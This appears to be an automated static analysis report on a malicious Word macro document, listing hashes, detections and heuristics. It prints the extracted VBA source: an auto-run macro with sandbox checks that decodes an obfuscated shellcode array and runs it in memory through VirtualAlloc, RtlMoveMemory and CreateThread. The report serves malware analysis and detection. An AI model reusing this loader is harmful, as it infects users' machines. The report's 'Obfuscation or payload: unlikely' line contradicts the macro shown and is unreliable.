Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 ce61453f0c89ed65…

MALICIOUS

Office (OOXML)

20.0 KB Created: 2021-07-28 11:30:00 UTC Authoring application: Microsoft Office Word 15.0000 First seen: 2021-10-11
MD5: 1bff09c43a0c04861ec2bfc596ecd85c SHA-1: 68ec5f9880a890c53386f90ab00d6f88f10e6932 SHA-256: ce61453f0c89ed656ed515c49600d9f37db472a623d778e43e676b1ff0058a83
302 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a malicious OOXML document containing VBA macros, specifically triggering AutoOpen and Document_Open events. The VBA code utilizes GetObject and P-code execution, indicating an attempt to run arbitrary code. The presence of `CreateThread`, `VirtualAlloc`, and `RtlMoveMemory` functions suggests the macro is likely responsible for downloading and executing a second-stage payload, potentially via PowerShell, as indicated by the heuristic firing for T1059.001. The ClamAV detection further confirms its malicious nature.

Heuristics 7

  • ClamAV: Doc.Malware.Valyria-10023899-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Valyria-10023899-0
  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 7491 bytes
SHA-256: 7d85becd68de8d3a4da3284e45cba8318bd82a8cf9896728885dec45c5e8ed5e
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Declare PtrSafe Function CreateThread Lib "KERNEL32" (ByVal SecurityAttributes As Long, ByVal StackSize As Long, ByVal StartFunction As LongPtr, ThreadParameter As LongPtr, ByVal CreateFlags As Long, ByRef ThreadId As Long) As LongPtr
Private Declare PtrSafe Function VirtualAlloc Lib "KERNEL32" (ByVal lpAddress As LongPtr, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As LongPtr
Private Declare PtrSafe Function RtlMoveMemory Lib "KERNEL32" (ByVal lDestination As LongPtr, ByRef sSource As Any, ByVal lLength As Long) As LongPtr
Function Bek()
 Dim Yus As Variant
 Dim GSo As LongPtr
 Dim nVB As Long
 Dim ban As Long
 Dim JXR As LongPtr
 If Application.RecentFiles.Count < 3 Then
Exit Function
End If
Set objWMIService = GetObject("winmgmts:\\.\root\cimv2")
Set colItems = objWMIService.ExecQuery("Select * from Win32_Processor", , 48)
For Each objItem In colItems
If objItem.NumberOfCores < 3 Then
Exit Function
End If
Next
 Yus = Array(256, 76, 135, 232, 244, 236, 208, 4, 4, 4, 69, 85, 69, 84, 86, 76, 53, 214, 105, 76, 143, 86, 100, 76, 143, 86, 28, 76, 143, 86, 36, 85, 90, 76, 19, 187, 78, 78, 81, 53, 205, 76, 143, 118, 84, 76, 53, 196, 176, 64, _
101, 128, 6, 48, 36, 69, 197, 205, 17, 69, 5, 197, 230, 241, 86, 76, 143, 86, 36, 69, 85, 143, 70, 64, 76, 5, 212, 106, 133, 124, 28, 15, 6, 19, 137, 118, 4, 4, 4, 143, 132, 140, 4, 4, 4, 76, 137, 196, 120, 107, _
76, 5, 212, 84, 143, 76, 28, 72, 143, 68, 36, 77, 5, 212, 231, 90, 81, 53, 205, 76, 259, 205, 69, 143, 56, 140, 76, 5, 218, 76, 53, 196, 69, 197, 205, 17, 176, 69, 5, 197, 60, 228, 121, 245, 80, 7, 80, 40, 12, 73, _
61, 213, 121, 220, 92, 72, 143, 68, 40, 77, 5, 212, 106, 69, 143, 16, 76, 72, 143, 68, 32, 77, 5, 212, 69, 143, 8, 140, 69, 92, 76, 5, 212, 69, 92, 98, 93, 94, 69, 92, 69, 93, 69, 94, 76, 135, 240, 36, 69, 86, _
259, 228, 92, 69, 93, 94, 76, 143, 22, 237, 79, 259, 259, 259, 97, 77, 194, 123, 119, 54, 99, 55, 54, 4, 4, 69, 90, 77, 141, 234, 76, 133, 240, 164, 5, 4, 4, 77, 141, 233, 77, 192, 6, 4, 35, 148, 196, 172, 5, 77, _
69, 88, 77, 141, 232, 80, 141, 245, 69, 190, 80, 123, 42, 11, 259, 217, 80, 141, 238, 108, 5, 5, 4, 4, 93, 69, 190, 45, 132, 111, 4, 259, 217, 110, 14, 69, 98, 84, 84, 81, 53, 205, 81, 53, 196, 76, 259, 196, 76, 141, _
198, 76, 259, 196, 76, 141, 197, 69, 190, 238, 19, 227, 228, 259, 217, 76, 141, 203, 110, 20, 69, 92, 80, 141, 230, 76, 141, 253, 69, 190, 157, 169, 120, 101, 259, 217, 137, 196, 120, 14, 77, 259, 210, 121, 233, 236, 151, 4, 4, 4, _
76, 135, 240, 20, 76, 141, 230, 81, 53, 205, 110, 8, 69, 92, 76, 141, 253, 69, 190, 6, 221, 204, 99, 259, 217, 135, 252, 4, 130, 89, 76, 135, 200, 36, 98, 141, 250, 110, 68, 69, 93, 108, 4, 20, 4, 4, 69, 92, 76, 141, _
246, 76, 53, 205, 69, 190, 92, 168, 87, 233, 259, 217, 76, 141, 199, 77, 141, 203, 81, 53, 205, 77, 141, 244, 76, 141, 222, 76, 141, 253, 69, 190, 6, 221, 204, 99, 259, 217, 135, 252, 4, 129, 44, 92, 69, 91, 93, 108, 4, 68, _
4, 4, 69, 92, 110, 4, 94, 69, 190, 15, 51, 19, 52, 259, 217, 91, 93, 69, 190, 121, 114, 81, 101, 259, 217, 77, 259, 210, 237, 64, 259, 259, 259, 76, 5, 199, 76, 45, 202, 76, 137, 250, 121, 184, 69, 259, 235, 92, 110, 4, _
93, 191, 228, 33, 46, 14, 69, 141, 222, 259, 217)
For i = 0 To UBound(Yus)
Yus(i) = Yus(i) - 4
Next i
GSo = VirtualAlloc(0, UBound(Yus), &H3000, &H40)
For nVB = LBound(Yus) To UBound(Yus)
ban = Yus(nVB)
JXR = RtlMoveMemory(GSo + nVB, ban, 1)
Next nVB
res = CreateThread(0, 0, GSo, 0, 0, 0)
End Function
Sub Document_Open()
Bek
End Sub
Sub AutoOpen()
Bek
End Sub



Attribute VB_Name = "Módulo1"
Private Declare PtrSafe Function CreateThread Lib "KERNEL32" (ByVal SecurityAttributes As Long, ByVal StackSize As Long, ByVal StartFunction As LongPtr, ThreadParameter As LongPtr, ByVal Crea
... (truncated)
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 22016 bytes
SHA-256: 65c4a310253167715b86466417bafbcd725b3582df120c167bac7244a67b3d51
Detection
ClamAV: Doc.Malware.Valyria-10023899-0
Obfuscation or payload: unlikely